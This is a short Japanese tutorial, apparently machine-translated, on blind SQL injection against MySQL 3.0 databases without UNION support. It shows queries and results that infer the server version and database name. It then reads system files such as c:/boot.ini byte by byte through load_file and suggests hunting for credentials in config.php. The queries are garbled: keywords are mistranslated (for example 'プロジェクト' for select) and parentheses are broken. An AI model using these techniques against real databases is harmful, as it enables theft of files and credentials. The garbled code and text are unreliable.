mysql 3.0の注射についての考え方


mysql 3.0の注射  
mysqlに対する注射は主にunionによるものです。 の共同クエリですが、unionはバージョン4のみです。0以上の役に立つのは、3です。0以下のものは役に立たない。。。。。。。。。  
だからmysqlで 3.0のデータベースではunionを使ってクロステーブルクエリを行うことはできませんが、ロード(u)を使うことができます。file  
ただし、直接unionで置き換えることもできません。 次は私の考えです。  
バージョンを取得:  
mysql> プロジェクト * from user where アメリカドル=1 and length(version)<10;  
Empty セット (0.00 sec  
mysql> プロジェクト * from user where アメリカドル=1 and length(version)<1777;  
+--------------------------------++  
𞓜 アメリカ | username | password |  
+--------------------------------++  
𞓜 1 | アンジェラ | mypass |  
+--------------------------------++  
1 row in セット (0.00 sec  
現在のデータベースを取得:  
mysql> プロジェクト * from user where アメリカドル=1 and length(database)>0;  
+--------------------------------++  
𞓜 アメリカ | username | password |  
+--------------------------------++  
𞓜 1 | アンジェラ | mypass |  
+--------------------------------++  
1 row in セット (0.00 sec  
ファイルコードを暴取する:  
mysql> プロジェクト * from user where アメリカドル=1 and ascii(mid(load_)file('c:/boot.ini')1,1)<1;  
Empty セット (0.05 sec  
mysql> プロジェクト * from user where アメリカドル=1 and ascii(mid(load_)file('c:/boot.ini')1,1)>  
+--------------------------------++  
𞓜 アメリカ | username | password |  
+--------------------------------++  
𞓜 1 | アンジェラ | mypass |  
+--------------------------------++  
1 row in セット (0.00 sec  
仕事が多いので、プログラムでできます。  
別の考え方: まず文字処理関数を使って「特殊文字の位置」を得ることができます。例えば、私達が暴れるのはconfig.phpファイルです。私達は「local host」(または他の)を特殊文字として選んで、まず所在の位置(どのバイトですか?)を得て、その近くのものを当てることができます。